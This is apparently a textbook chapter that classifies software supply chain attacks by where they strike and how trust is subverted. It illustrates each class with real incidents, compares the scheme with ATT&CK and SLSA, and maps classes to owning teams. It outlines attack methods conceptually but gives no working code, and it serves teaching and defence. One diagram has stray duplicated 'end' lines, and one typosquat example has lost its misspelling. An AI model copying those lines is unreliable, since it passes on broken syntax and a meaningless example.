- Identify which attack classes matter most for an organization with hundreds of services, internal packages, and an internal registry — and which team owns each class.

Why taxonomy matters

Security engineering runs on shared vocabulary. When a colleague says "SQL injection," you know the mechanism, the preconditions, the fix, and roughly where to look in the codebase. Supply chain security in the early 2020s lacked that shared vocabulary: the same incident would be described as "a dependency attack," "a build compromise," or "an npm hack" depending on who wrote the postmortem, and the imprecision had real costs.

Three concrete costs, in order of how often they bite:

Threat modeling degenerates into anecdote-matching. Without a taxonomy, teams model "the SolarWinds scenario" and "the xz scenario" as monoliths. But SolarWinds (Book 1, Chapter 3) is a *build-process compromise via technical means*, and xz-utils (Book 1, Chapter 5) is a

source compromise via long-horizon social engineering. The controls that address one do almost nothing against the other. A taxonomy lets you enumerate the classes systematically and ask, per class, "what stops this here?" — instead of replaying famous incidents and hoping the next attacker is unoriginal.

Control mapping becomes unfalsifiable. Vendors and internal platform teams alike claim their control "prevents supply chain attacks." Prevents *which*? Artifact signing (Book 5) does nothing against a malicious maintainer who signs their own backdoor. SCA scanning (Book 2, Chapter 6) does nothing against a compromised build platform. Provenance verification (Book 5, Chapter 8) does nothing against typosquatting, because the typosquatted package has perfectly valid provenance — for the wrong package. A taxonomy turns "we're covered" into a coverage matrix with visible holes.

Incident comparison across organizations fails. Information sharing (Book 8, Chapter 7) depends on comparable categories. If one org reports "npm account takeover with malicious patch release" and another reports "malicious update to a JavaScript library," an analyst cannot tell whether these are the same campaign, the same technique by different actors, or different techniques entirely. Taxonomies are what make incident corpora queryable.

A useful taxonomy for this domain must satisfy two requirements that are in mild tension. It must be **organized by defender-relevant structure** — controls attach to places in the chain, so the primary axis should be *where* the compromise occurs. And it must capture **attacker-relevant structure** — the same place can be reached by stolen credentials, by patient social engineering, or by a legitimate owner turning hostile, and those require different defenses (credential hygiene versus contributor vetting versus update gating). Hence two axes, not one.

Axis one: where in the chain the compromise occurs

The primary axis follows the flow of software from a developer's intent to a consumer's runtime. This aligns with the SLSA v1.0 threat model, which labels threats A through H along the same pipeline. We group them into four stages.

```

flowchart LR
    subgraph SRC["Source stage"]
        DEV["Developer"] --> SCM["Source repo"]
    end
    end
    subgraph BLD["Build stage"]
        SCM --> CI["Build platform"]
        DEPS["External dependencies"] --> CI
    end
    end
    subgraph DIST["Distribution stage"]
        CI --> REG["Registry / update channel"]
        REG --> CDN["Mirrors and CDNs"]
    end
    end
    subgraph CONS["Consumption stage"]
        CDN --> USER["Consumer resolve + install"]
    end
    end

    TA["A: unauthorized change  
B: compromised source repo"] -.-> SRC
    TB["C: build from modified source  
D: used compromised dependency  
E: compromised build process"] -.-> BLD
    TC["F: upload modified package  
G: compromised package registry"] -.-> DIST
    TD["H: used compromised package"] -.-> CONS

```

The letters map to SLSA v1.0's threats as published. Threats A and B are *source* threats: A is an unauthorized change to the source that the SCM accepts as legitimate; B is a compromise of the source repository platform itself. Threats C, D, and E are *build* threats: C is building from a source other than the reviewed one, D is using a compromised dependency during the build, and E is compromise of the build process. Threats F and G are *distribution* threats: F is uploading a package that did not come from the build system, and G is compromise of the package registry. Threat H is a *consumption* threat: the consumer selects and uses a compromised package — the class where dependency confusion and typosquatting live.

Two notes on how we deviate from SLSA. First, SLSA's framing is deliberately build-centric — it exists to justify provenance, so its threat labels cluster around the build. Our four-stage grouping is symmetric across the chain because we are classifying *all* attacks, not motivating one control family. Second, SLSA folds "malicious maintainer" implicitly into threat A (an authorized actor makes an unauthorized-in-spirit change). We surface it explicitly on the second axis, because a legitimate

maintainer acting maliciously defeats every source-integrity control that assumes the maintainer is honest.

Source-stage threats

The compromise occurs in the version-control system or in the human process feeding it. The attacker's output is malicious source that the organization treats as its own. Concretely: unauthorized commits (a pushed change no reviewer approved), SCM platform compromise (the git server or its forge is subverted — the March 2021 push of two backdoor commits to the self-hosted `git.php.net` server, masquerading as core maintainers, is the canonical example), and the malicious maintainer who has legitimate commit rights and abuses them.

Source-stage compromises are among the hardest to detect because the malicious change enters through the same door as every legitimate change and inherits the same downstream trust. Every subsequent stage — build, sign, publish — faithfully processes the poisoned source and stamps it with valid provenance. Provenance attests *that this was built from that commit*, not *that the commit was benign*.

Build-stage threats

The source is clean; the build turns it into a malicious artifact. This includes building from unreviewed source (SLSA C), pulling a compromised dependency at build time (SLSA D — a build-time analogue of a consumption attack, distinguished because the poisoned dependency executes in your *build* environment with its privileges), and compromise of the build process itself (SLSA E). SolarWinds is the archetype: the SUNSPOT implant sat on the build server and rewrote source files *during compilation*, so the checked-in source stayed clean and the shipped binary carried SUNBURST. Build-stage attacks are potent because the build platform typically holds signing keys and production credentials, and because reproducible builds are still rare enough that "the binary doesn't match the source" is not routinely checked (Book 4, Chapter 2).

Distribution-stage threats

The artifact is built correctly, then something between the build and the consumer swaps or corrupts it: registry compromise (SLSA G), artifact substitution or unauthorized upload (SLSA F), and mirror/CDN tampering. The 2017 M.E.Doc/NotPetya event — attackers subverted the

update server of a widely used Ukrainian accounting product and pushed NotPetya through the legitimate update channel — is a distribution compromise, as is the 2024 polyfill.io case where a change of the CDN's ownership turned a trusted script host into a malware distributor for every site embedding it.

Consumption-stage threats

Nothing in your chain is compromised; the attacker gets you to *select* their artifact. Dependency confusion, typosquatting, combosquatting, and installing a maliciously crafted "new" package all live here (SLSA H). These are the cheapest attacks to mount — no credential theft, no platform compromise, just publishing a package and waiting — and consequently the most common by raw count in the npm/PyPI ecosystems.

Axis two: how trust is subverted

The second axis is orthogonal and captures the *attacker's method of gaining the ability to act*. The same location can be reached three fundamentally different ways, and the defenses differ accordingly.

Technical compromise. The attacker defeats a technical control: steals or phishes credentials, exploits a vulnerability, abuses a misconfiguration, or reuses a leaked token. The ledger connect-kit incident (December 2023) is a clean example — a former employee's npm account was phished, and the attacker published a wallet-draining version of `@ledgerhq/connect-kit`. The ESLint incident (July 2018) is another: stolen npm credentials were used to publish malicious `eslint-scope` versions that attempted to exfiltrate other maintainers' npm tokens. Defenses are the classic ones: MFA, short-lived scoped tokens, secret scanning, patching.

Social engineering. The attacker manipulates a human into granting access or trust. This ranges from ordinary phishing (which shades into technical compromise) to the *long con* — cultivating a maintainer relationship over months or years to inherit commit rights. The xz-utils backdoor (2024) is the defining case: the "Jia Tan" persona spent roughly two years making legitimate contributions, gaining co-maintainer status, and applying social pressure on the original maintainer, before landing an obfuscated backdoor in the release tarballs. No credential was stolen and

no CVE was exploited; the trust was *given*. Defenses are organizational, not technical: contributor vetting, two-person review, provenance of *who* changed what.

Legitimate-but-malicious. The actor is exactly who they claim to be and has every right to act — and acts against the consumer's interest anyway. Protestware is the clearest form: the `colors.js / faker.js` sabotage (January 2022), where the legitimate author intentionally shipped an infinite loop and garbage output, and the `node-ipc` case (March 2022), where the author pushed a version that overwrote files on machines geolocated to Russia and Belarus. Also here: license traps (a maintainer relicensing to something hostile), and genuinely malicious *new* releases published by the real owner who has decided to monetize their user base maliciously — which is what the `polyfill.io` ownership change effectively became. There is no credential to protect and no persona to unmask; the only defenses are *not trusting the current owner implicitly* — pinning, review of updates, and vendoring (Book 2, Chapter 8).

The value of the second axis is that it predicts *which controls help*. Technical-compromise attacks yield to credential hygiene and detection; social-engineering attacks yield to process and contributor governance; legitimate-but-malicious attacks yield only to update gating and reduced trust in upstream. A control that addresses one axis-value tells you nothing about the other two.

The taxonomy tree

Combining both axes, the named patterns organize as follows. The tree is grouped by chain stage; trust-subversion mode is noted per leaf where it is characteristic.

```

mindmap
  root((Supply chain attacks))
    Source
      Unauthorized commit
      SCM platform compromise
      Malicious maintainer
      Account takeover
      Repojacking
      Starjacking
      Expired-domain email takeover
    Build
      Build-time dependency injection
      Compile-time backdoor
      CI workflow injection
      Artifact / cache poisoning
      Build process implant
    Distribution
      Registry compromise
      Artifact substitution
      Mirror / CDN tampering
      Trojanized release
      Update hijacking
    Consumption
      Dependency confusion
      Typosquatting
      Combosquatting
      Malicious install script
      Lockfile tampering
      Watering-hole dev tooling
      Model / weights poisoning

```

The rest of the chapter walks each leaf, grouped by stage, and states four properties per pattern: **attacker capability** required, **blast radius**, **detectability**, and a one-line **representative incident**. The full case studies are Chapters 3–5; here we characterize, not narrate.

Source-stage patterns

Account takeover (ATO). The attacker obtains a maintainer's SCM or registry credentials — via phishing, credential stuffing, malware, or a leaked token — and acts as them. *Capability*: valid credentials or session; MFA bypass if enabled. *Blast radius*: everything the account can publish or push; for a popular package, millions of downstream installs. *Detectability*: moderate — anomalous publish times, new IPs, or unusual version jumps can flag it, but the artifact itself looks authentic. *Incident*:

ESLint 2018 (`eslint-scope`), where stolen npm credentials pushed token-stealing releases.

Malicious maintainer / insider. A person with legitimate rights abuses them. This is the axis-two "social" or "legitimate-but-malicious" case realized at the source. *Capability*: existing commit or publish rights — no compromise needed. *Blast radius*: the maintained package and its dependents. *Detectability*: low; the change is authorized and signed. Only code review and behavioral diffing of releases catch it. *Incident*: event-stream (2018), where a new maintainer, having taken over the package through a routine-looking handoff, introduced the `flatmap-stream` dependency that targeted the Copay bitcoin wallet.

SCM platform compromise. The forge or git server itself is subverted, letting the attacker inject commits that appear to come from trusted authors. *Capability*: compromise of the hosting infrastructure or its authentication. *Blast radius*: every repo on the platform, potentially. *Detectability*: moderate to high if commit signing is enforced (unsigned or wrongly-signed commits stand out), low otherwise. *Incident*: the `git.php.net` compromise (March 2021), where two backdoor commits were pushed under the identities of core maintainers, prompting PHP to migrate to GitHub.

Repojacking. GitHub (and similar forges) retire a namespace when a user or org is renamed or deleted, and — subject to the platform's retirement rules — that namespace can become re-registrable. If a popular project's old `owner/repo` path is still referenced by dependents, redirect handling, or install scripts, an attacker who claims the freed namespace controls what those references resolve to. *Capability*: the ability to register a freed username/org; discovery of dangling references. *Blast radius*: every consumer still resolving the old path — for Go modules, install scripts, or documentation links, this can be large. *Detectability*: low until exploited; the reference looks normal. GitHub retains popular namespaces to blunt this, but the long tail remains exposed. *Incident*: numerous PoCs against widely-referenced org renames; no single canonical name, but the class has been demonstrated repeatedly against dependencies pinned to `github.com/<old-org>/...`.

Starjacking. A package's registry page displays the star count of a *linked* source repository, and registries frequently do not verify that the publisher controls that repo. An attacker publishes a malicious package while pointing its `repository` field at a famous project, inheriting its

apparent popularity and trust signals. *Capability*: the ability to publish a package with an arbitrary repository URL. *Blast radius*: whoever is swayed by the borrowed reputation. *Detectability*: high if you check, near-zero if you rely on displayed stars. *Incident*: demonstrated broadly across npm and PyPI; the technique is a trust-signal forgery rather than a code-execution primitive on its own, and is typically combined with typosquatting.

Expired-domain email takeover. A maintainer's registered email uses a domain that lapses. The attacker re-registers the domain, provisions the mailbox, and triggers a password reset on the SCM or registry account — inheriting publish rights without touching a password. *Capability*: noticing a lapsed domain and re-registering it (cheap and automatable at scale). *Blast radius*: every package the account controls. *Detectability*: low; the reset flow is legitimate. *Incident*: the `ctx` PyPI package and a forked `phpass` (May 2022), where a lapsed maintainer domain was re-registered, the account reset, and malicious versions published that exfiltrated environment variables (later attributed to a security researcher demonstrating the technique).

Build-stage patterns

Build-time dependency injection (SLSA D). A dependency pulled *during the build* — a build plugin, a base image, a compiler toolchain, a CI action — is malicious and executes with the build's privileges. This is distinct from a runtime dependency because the payload runs where signing keys and cloud credentials live. *Capability*: control of any package the build resolves, including transitive build tooling. *Blast radius*: the built artifact plus anything the build environment can reach — often the crown jewels. *Detectability*: moderate with build-environment monitoring (Book 4, Chapter 9); low otherwise. *Incident*: Codecov (2021), where the Bash Uploader — a build-time tool countless CI pipelines curl'd and executed — was altered to exfiltrate environment variables, harvesting secrets from thousands of CI runs.

Compile-time backdoor / build-process implant (SLSA E). Malicious code resident on the build platform modifies the artifact during compilation while leaving the source repository clean. *Capability*: code execution on the build host or control of the build orchestration. *Blast radius*: every artifact that host builds. *Detectability*: very low without reproducible builds — the definitive check is rebuilding from source on

independent infrastructure and comparing (Book 4, Chapter 2). *Incident*: SolarWinds SUNSPOT (2020), which patched Orion source in-memory during the MSBuild step so the shipped, validly-signed binary carried SUNBURST.

CI workflow injection. Attacker-controlled input (a PR title, a branch name, an issue body, a fork's contents) flows into a CI workflow that evaluates it with elevated privileges — leading to code execution in the pipeline, secret theft, or artifact tampering. This is a large enough topic that Book 4, Chapter 7 (Pipeline Poisoning) treats it in depth; here it is one pattern. *Capability*: the ability to submit input a misconfigured workflow trusts — often just opening a pull request. *Blast radius*: pipeline secrets and publish rights. *Detectability*: moderate; the malicious run is visible in CI logs if anyone looks. *Incident*: a recurring class across GitHub Actions "pwn request" misconfigurations; deep-dived in Book 4.

Artifact / cache poisoning. The attacker plants a malicious artifact in a shared build cache, dependency proxy, or intermediate store so that later builds consume it as if legitimate. *Capability*: write access to the cache or the ability to influence cache keys. *Blast radius*: every build that hits the poisoned cache entry. *Detectability*: low; caches are trusted by construction and rarely re-verified. *Incident*: demonstrated against CI cache mechanisms; treated with build-tooling context in Book 4, Chapter 7.

Distribution-stage patterns

Registry compromise (SLSA G). The package registry or its infrastructure is subverted, letting the attacker alter or replace artifacts server-side. *Capability*: compromise of registry infrastructure or privileged registry access. *Blast radius*: potentially the entire ecosystem the registry serves. *Detectability*: high if consumers verify signatures or hashes against an out-of-band source (TUF and Sigstore exist precisely for this — Book 5); low if they trust whatever the registry returns. *Incident*: no top-tier public compromise of a major language registry's storage to date at this scale, which is itself notable; the threat is modeled seriously (hence TUF adoption by PyPI and others).

Artifact substitution / unauthorized upload (SLSA F). A package that did *not* come from the legitimate build is uploaded under the legitimate package name — via stolen publish tokens or a registry flaw.

Capability: publish rights (often obtained via ATO) or a registry authorization bug. *Blast radius*: depends on that package. *Detectability*: moderate; provenance verification (Book 5, Chapter 8) catches it because the malicious upload lacks valid build provenance — but only where provenance is required. *Incident*: ua-parser-js (October 2021), where an npm account takeover let attackers publish trojanized versions carrying a cryptominer and password stealer.

Mirror / CDN tampering. A mirror, proxy, or CDN that consumers trust serves altered content. Because many organizations pull packages and scripts through mirrors for speed or availability, the mirror becomes a high-value substitution point. *Capability*: control of a mirror/CDN node or of the account that owns the CDN property. *Blast radius*: every consumer routing through that mirror. *Detectability*: high with subresource integrity or hash pinning, low with bare `<script src=` includes. *Incident*: polyfill.io (2024), where a change in the CDN's ownership led `cdn.polyfill.io` to serve malicious code to sites that embedded it; and XcodeGhost (2015), where a trojanized Xcode distributed through fast unofficial mirrors injected malware into every iOS app compiled with it.

Trojanized release. A legitimately-distributed product ships with an embedded backdoor, signed with the vendor's real certificate and delivered through the official channel. *Capability*: compromise of the vendor's build or release process (this overlaps the build stage; the *distribution* is what makes it dangerous, because the malware wears the vendor's signature). *Blast radius*: the vendor's entire customer base. *Detectability*: very low — valid signature, official channel, expected update cadence. *Incident*: ASUS ShadowHammer (2019), where the ASUS Live Update utility, signed with legitimate ASUS certificates and served from ASUS update servers, targeted specific machines by MAC address; and 3CX (2023), where the trojanized 3CXDesktopApp — itself a victim of a *prior* supply chain compromise via the X_TRADER software — was shipped to 3CX's customers.

Update hijacking. The attacker takes over the *update mechanism* to push a malicious version through the normal auto-update flow. Distinct from a one-off trojanized release in that it weaponizes the ongoing update channel. *Capability*: control of the update server or the signing/publishing path it uses. *Blast radius*: the entire installed base, delivered automatically. *Detectability*: low; auto-update is designed to be trusted and silent. *Incident*: Kaseya VSA (2021), where a zero-day in the VSA

remote-management platform was used to push REvil ransomware to managed service providers and their downstream customers; and M.E.Doc/NotPetya (2017).

Consumption-stage patterns

These are the attacks that require no compromise of anything you own — only that your resolver or a developer selects the attacker's artifact.

Dependency confusion. An organization uses internal package names (e.g., `acme-auth-client`) that are not published to the public registry. If the build's resolver is configured to consult the public registry as well, an attacker who publishes `acme-auth-client` publicly — often with a higher version number — can cause the resolver to prefer the public (malicious) package over the intended internal one. Alex Birsan's 2021 research demonstrated this against Apple, Microsoft, and dozens of other large firms simply by mining internal package names from leaked `package.json` files and publishing matching public packages. *Capability*: knowledge of an internal package name and the ability to publish that name publicly. No compromise required. *Blast radius*: every build that mis-resolves — potentially every service using the internal package. *Detectability*: moderate; the malicious fetch is visible in resolver logs, and scoped registries / namespace reservation prevent it (Book 2, Chapter 3). This is *the* canonical internal-package risk and is examined at the end of this chapter and again in Book 2.

```
sequenceDiagram
    participant Dev as Developer / CI
    participant Res as Package resolver
    participant Int as Internal registry
    participant Pub as Public registry
    participant Atk as Attacker

    Note over Atk, Pub: Preparation
    Atk->>Pub: publish "acme-auth-client" v99.0.0 (malicious)

    Note over Dev, Pub: Build time
    Dev->>Res: install acme-auth-client (^1.0.0)
    Res->>Int: query acme-auth-client
    Int-->>Res: v1.4.2 available
    Res->>Pub: query acme-auth-client (public also configured)
    Pub-->>Res: v99.0.0 available
    Res->>Res: highest version wins → v99.0.0
    Res->>Pub: download v99.0.0
    Pub-->>Res: malicious tarball
    Res-->>Dev: installed (postinstall executes payload)
```

The sequence exposes the root cause precisely: a resolver configured with *both* an internal and a public source, and a version-selection rule ("highest wins") that does not prefer the trusted source. Fix the resolution policy — scoped registries, explicit source pinning, namespace reservation on the public registry — and the confusion disappears. This is a *configuration* vulnerability, not a code one.

Typosquatting. The attacker publishes a package whose name is a near-miss of a popular one (requests for requests , electorn for electron), relying on developer typos and copy-paste errors. *Capability*: the ability to publish a plausibly-named package. *Blast radius*: whoever mistypes — smaller than dependency confusion, but continuous. *Detectability*: high with name-similarity scanning and install-time policy; low if developers install ad hoc. *Incident*: endemic on npm and PyPI; recurring campaigns publish hundreds of typosquats at a time.

Combosquatting. A variant that *adds* tokens to a real name rather than misspelling it: python3-dateutil (the real one is python-dateutil), or <real-lib>-utils , node-<real-lib> . It exploits the plausibility of the extra token. *Capability*: same as typosquatting. *Blast radius*: developers who assume the composed name is an official variant. *Detectability*: moderate; harder than typosquatting because the name is not obviously

wrong. *Incident*: observed alongside typosquatting campaigns in both ecosystems.

Malicious install script. The payload rides in a package manager's lifecycle hook that runs *on install*, before any code is imported: npm `preinstall/postinstall`, Python `setup.py` executed during `pip install` of an sdist, RubyGems extensions. Installation alone — not use — triggers execution. *Capability*: publishing a package (usually combined with typosquatting, combosquatting, or confusion to get it installed). *Blast radius*: the developer workstation or CI runner doing the install, with its credentials. *Detectability*: moderate; `--ignore-scripts`, sandboxed installs, and static screening of lifecycle hooks catch it (Book 2, Chapter 4). *Incident*: the standard delivery mechanism for the majority of malicious npm/PyPI packages, including many dependency-confusion payloads.

Lockfile tampering. The attacker alters `package-lock.json`, `yarn.lock`, `poetry.lock`, or `go.sum` to point a dependency at a malicious version or integrity hash — often via a subtle pull request that reviewers skim because "it's just a lockfile." *Capability*: the ability to land a change in the repo (a PR, or write access). *Blast radius*: every build that installs from the tampered lockfile. *Detectability*: moderate; lockfile diffs are reviewable but frequently ignored, and hash mismatches against the source registry can flag substitution. *Incident*: discussed as a class in Book 2, Chapter 2; lockfiles are a defense that becomes an attack surface when review discipline lapses.

Watering-hole developer tooling. Rather than attack a package, the attacker poisons the *developer's environment*: a malicious IDE extension (VS Code marketplace), a trojanized dev container image, a compromised language-server or linter binary. The developer installs it for productivity and grants it broad local access. *Capability*: publishing to an extension marketplace or a container registry the developer trusts. *Blast radius*: developer workstations, source access, local credentials. *Detectability*: low; extensions and dev containers are rarely scanned with the rigor applied to production dependencies. *Incident*: malicious VS Code Marketplace extensions have been repeatedly discovered exfiltrating data and installing payloads; the class overlaps XcodeGhost's "poison the tooling" logic.

Model / weights poisoning. As ML models become dependencies, a poisoned model file (a pickle-based checkpoint executing code on load, or

a backdoored weight set) is a consumption-stage attack against the AI supply chain. *Capability*: publishing a model to a hub, or substituting one. *Blast radius*: every application that loads the model. *Detectability*: low today; scanning of serialized model formats is immature. *Incident*: malicious models on public hubs abusing insecure deserialization; treated in depth in Book 7, Chapter 7 (AI-Generated Code and the Model Supply Chain).

How this maps to existing taxonomies

No taxonomy is authoritative; each was built for a purpose and is silent where that purpose ends. Three are worth reconciling with ours.

MITRE ATT&CK — T1195, Supply Chain Compromise. ATT&CK is an adversary-behavior knowledge base organized by tactic and technique. Supply chain compromise sits under the Initial Access tactic as technique **T1195**, with three sub-techniques: **T1195.001** Compromise Software Dependencies and Development Tools, **T1195.002** Compromise Software Supply Chain, and **T1195.003** Compromise Hardware Supply Chain. ATT&CK's strength is that it links supply chain compromise to *what the adversary does next* — the technique is an entry point into the broader ATT&CK graph of execution, persistence, and exfiltration. Its limitation for our purposes is granularity: T1195 is a single technique with three children, so it does not distinguish typosquatting from dependency confusion from build implant — all are "compromise the software supply chain." ATT&CK tells you the adversary got in via the supply chain and what they might do afterward; it does not give you the fine-grained *where and how* that control mapping needs. Use ATT&CK to connect a supply chain incident to the rest of the intrusion; use a domain taxonomy to reason about the supply chain portion itself.

The SLSA v1.0 threat model. SLSA's threats A-H (mapped in the diagram above) are the closest fit to our chain-stage axis because both follow the source→build→distribution→consumption pipeline. The difference is scope and intent. SLSA is build-provenance-centric by design: it exists to justify the SLSA levels, so its threat model is sharpest around the build (threats C, D, E) and treats source and consumption more coarsely. It also does not model the *trust-subversion* axis — SLSA does not distinguish a stolen credential from a maintainer's long con, because its controls (hermetic builds, provenance) address the *where*, not the *how*. Our second axis is precisely what SLSA leaves out, which is why

SLSA provenance is necessary but not sufficient: it authenticates the *path*, not the *intent*.

Academic: Ladisa et al., "SoK: Taxonomy of Attacks on Open-Source Software Supply Chains" (IEEE S&P 2023). This systematization-of-knowledge paper builds an attack tree from a large survey of real incidents and literature, with the root goal "inject malicious code into a software supply chain" and branches covering the concrete techniques — typosquatting, dependency confusion, compromise of maintainer accounts, injection into the build, and so on — together with a catalog of safeguards mapped to the attack-tree nodes. Its strength is empirical grounding and breadth: it is the most complete open catalog of *techniques* and their countermeasures, and it validates categories against practitioner surveys. Its scope is deliberately *open-source* supply chains, so proprietary/vendor cases like SolarWinds or 3CX sit at the edge of its framing, and it is a research artifact rather than an operational control-mapping standard. Where our taxonomy leads with defender-relevant chain stage, Ladisa et al. lead with the attacker's goal tree; the two are complementary — read theirs for exhaustive technique coverage and safeguard mapping, use the chain-stage view for control placement.

The honest summary: ATT&CK situates supply chain attacks in the broader intrusion lifecycle but under-resolves them; SLSA resolves the build finely but ignores intent and under-resolves the ends of the chain; Ladisa et al. give the most complete technique catalog but for open source specifically and as research rather than operational doctrine. The two-axis view in this chapter is a synthesis chosen for one job — letting a senior engineer place any incident and reason about which control family applies.

Summary matrix

Each pattern, its dominant chain stage, its characteristic trust-subversion mode, and one representative incident. "Trust mode" lists the *typical* mode; several patterns can be realized more than one way (e.g., a Trojanized release presupposes an upstream technical compromise but is *delivered* through legitimate channels).

Pattern	Chain stage	Trust subversion	Representative incident
Account takeover	Source / Distribution	Technical	ESLint <code>eslint-scope</code> (2018)
Malicious maintainer	Source	Social / legitimate-but-malicious	event-stream (2018)
SCM platform compromise	Source	Technical	<code>git.php.net</code> backdoor commits (2021)
Repojacking	Source	Technical	GitHub namespace-retirement PoCs
Starjacking	Source	Legitimate-but-malicious (trust forgery)	npm/PyPI demonstrations
Expired-domain email takeover	Source	Technical	<code>ctx</code> PyPI / <code>phpass</code> (2022)
Build-time dependency injection	Build	Technical	Codecov Bash Uploader (2021)
Compile-time backdoor / build implant	Build	Technical	SolarWinds SUNSPOT (2020)
CI workflow injection	Build	Technical	GitHub Actions "pwn request" class
Artifact / cache poisoning	Build	Technical	CI cache poisoning PoCs
Registry compromise	Distribution	Technical	(modeled; TUF/PyPI motivation)
Artifact substitution	Distribution	Technical	ua-parser-js (2021)
Mirror / CDN tampering	Distribution	Technical / ownership change	polyfill.io (2024), XcodeGhost (2015)

Pattern	Chain stage	Trust subversion	Representative incident
Trojanized release	Distribution	Technical (upstream) → legitimate channel	ASUS ShadowHammer (2019), 3CX (2023)
Update hijacking	Distribution	Technical	Kaseya VSA (2021), M.E.Doc/NotPetya (2017)
Dependency confusion	Consumption	Technical (config)	Birsan PoC (2021)
Typosquatting	Consumption	Social (developer error)	endemic npm/PyPI campaigns
Combosquatting	Consumption	Social (developer error)	<code>python3-dateutil</code> and similar
Malicious install script	Consumption	Technical (execution primitive)	majority of malicious npm/PyPI packages
Lockfile tampering	Consumption	Technical / social (review lapse)	class discussed in Book 2
Watering-hole dev tooling	Consumption	Technical	malicious VS Code extensions
Model / weights poisoning	Consumption	Technical	malicious models on public hubs
Protestware / sabotage	Source → all	Legitimate-but-malicious	<code>colors.js</code> / <code>faker.js</code> , node-ipc (2022)

Where each class strikes

The chain-stage view, annotated with the patterns that dominate each junction, makes the coverage question concrete: a control placed at one node does nothing for attacks that strike elsewhere.

```
flowchart TB
    DEV["Developer intent"]
    SCM["Source repository"]
    CI["Build platform"]
    REG["Registry / update channel"]
    CDN["Mirror / CDN"]
    RES["Consumer resolver + install"]
    RUN["Production runtime"]

    DEV --> SCM --> CI --> REG --> CDN --> RES --> RUN

    S1["ATO · malicious maintainer  
SCM compromise · repojacking  
starjacking · domain takeover"]:::src --> SCM
    B1["build-time dep injection  
compile-time backdoor  
CI injection · cache poisoning"]:::bld --> CI
    D1["registry compromise  
artifact substitution  
trojanized / hijacked release"]:::dst --> REG
    D2["mirror / CDN tampering"]:::dst --> CDN
    C1["dependency confusion · typosquatting  
combosquatting · install scripts  
lockfile tampering · dev tooling · models"]:::con --> RES

    classDef src fill:#fde,stroke:#b37
    classDef bld fill:#fed,stroke:#b73
    classDef dst fill:#def,stroke:#37b
    classDef con fill:#efd,stroke:#7b3
```

Distributed-systems lens

For a small team shipping one application, the dominant risk is consumption-stage: typosquats and malicious install scripts on the handful of open-source packages they pull. As an organization grows into a large microservice fleet with internal packages and an internal registry, the risk profile shifts in three specific ways.

Dependency confusion becomes the signature internal-package risk. The precondition for confusion is exactly the thing that defines a

mature backend org: a corpus of internally-named packages (`acme-*`, `@acme/*`) consumed by many services, resolved by build pipelines that also reach the public registry. Every internal package name is a public-registry namespace an attacker can squat. The blast radius scales with fleet size: one mis-resolved internal utility can land in dozens of services' builds simultaneously. This is why Birsan's 2021 research hit large enterprises specifically — small shops have few internal packages to confuse. The mitigations (namespace reservation on the public registry, scoped registries with source pinning, resolver policy that never prefers public over internal) are Book 2, Chapter 3 material, but the *risk assessment* belongs here: if you run an internal registry, dependency confusion is your highest-probability supply chain exposure, and it is a configuration problem you can close deterministically.

Build-stage attacks scale with build-platform centralization. Large orgs centralize CI onto a shared platform for consistency and cost. That platform becomes a single high-value target holding signing keys and production credentials for hundreds of services — the SolarWinds and Codecov logic applied to your own infrastructure. A compromise there is not one poisoned service but a fleet-wide event. The centralization is correct engineering; it just moves the crown jewels, which is why Book 4 devotes an entire book to hardening it.

Distribution attacks map to internal mirrors and proxies. Orgs at scale run pull-through caches and mirrors (Artifactory, Nexus, internal PyPI/npm proxies) for availability and speed. Each becomes a distribution-stage substitution point that every build trusts. The mirror is now part of *your* supply chain, subject to the same registry-compromise and tampering threats as the public one — treated in Book 2, Chapter 8 and Book 6, Chapter 2.

The organizational corollary is that **attack classes map to team ownership**, and taxonomy is what makes that mapping legible:

- **Consumption-stage** (dependency confusion, typosquatting, install scripts, lockfiles) is owned jointly by **application teams** (who choose and pin dependencies) and the **platform team** (who set resolver policy and reserve namespaces). Confusion in particular is a platform-team responsibility because no single app team can fix resolver configuration fleet-wide.

- **Build-stage** (build implants, CI injection, build-time dependency injection, cache poisoning) is owned by the **platform/build team** — application teams cannot harden a shared build platform they do not administer.
- **Source-stage** (ATO, malicious maintainer, SCM compromise, repojacking) is owned by the **security team** and **SCM administrators** — MFA enforcement, commit-signing policy, contributor governance, and forge configuration are org-wide controls.
- **Distribution-stage** (registry/mirror compromise, artifact substitution) is owned by the **platform team** for internal registries and by **security/vendor-risk** for third-party channels (Book 8, Chapter 3).

A supply chain program that cannot say, per class, "which team is accountable and which control applies" is a program running on anecdote. The taxonomy is the prerequisite for the accountability. The next three chapters (Case Studies I-III) take the highest-signal incidents named here — SolarWinds and 3CX (build compromise), event-stream, ua-parser-js, node-ipc, and PyTorch (dependency attacks), and xz-utils, Codecov, and Log4Shell — and reconstruct their mechanisms in full, so that each abstract class in this chapter acquires a concrete, load-bearing example.

Key takeaways

- A supply chain attack taxonomy is not academic tidiness; it is the prerequisite for falsifiable control mapping, systematic threat modeling, and cross-organization incident comparison. Without it, "we're covered against supply chain attacks" is unfalsifiable.
- Classify along **two orthogonal axes**: *where* the compromise occurs (source, build, distribution, consumption — aligned with SLSA v1.0 threats A-H) and *how* trust is subverted (technical compromise, social engineering, legitimate-but-malicious). The first axis tells you where to place a control; the second tells you which control family can possibly help.
- The second axis is what SLSA and provenance leave out: provenance authenticates the *path* an artifact took, not the *intent* of the actor

who produced it. A signed backdoor from a legitimate maintainer has perfect provenance.

- Consumption-stage attacks (typosquatting, dependency confusion, malicious install scripts) are the cheapest and most common; build-stage attacks (SolarWinds, Codecov) are the rarest and most damaging because the build platform holds keys and credentials.
- For large backend organizations, **dependency confusion is the canonical internal-package risk** — its precondition is an internal registry consulted alongside a public one, and it is a deterministically-closable configuration problem.
- Existing taxonomies are complementary and each is silent somewhere: MITRE ATT&CK T1195 situates supply chain compromise in the broader intrusion but under-resolves it; the SLSA threat model resolves the build finely but ignores intent; Ladisa et al. (2023) give the most complete open-source technique catalog as a research artifact.
- Taxonomy enables **ownership mapping**: source-stage to security/SCM admins, build-stage to the platform/build team, distribution-stage to platform and vendor-risk, consumption-stage jointly to app teams and the platform team.

Further reading

- SLSA v1.0 — "Threats & mitigations" (the A-H threat model): <https://slsa.dev/spec/v1.0/threats>
- MITRE ATT&CK — T1195, Supply Chain Compromise, and sub-techniques .001/.002/.003: <https://attack.mitre.org/techniques/T1195/>
- P. Ladisa, H. Plate, M. Martinez, O. Barais, "SoK: Taxonomy of Attacks on Open-Source Software Supply Chains," IEEE Symposium on Security and Privacy (S&P) 2023: <https://arxiv.org/abs/2204.04008>
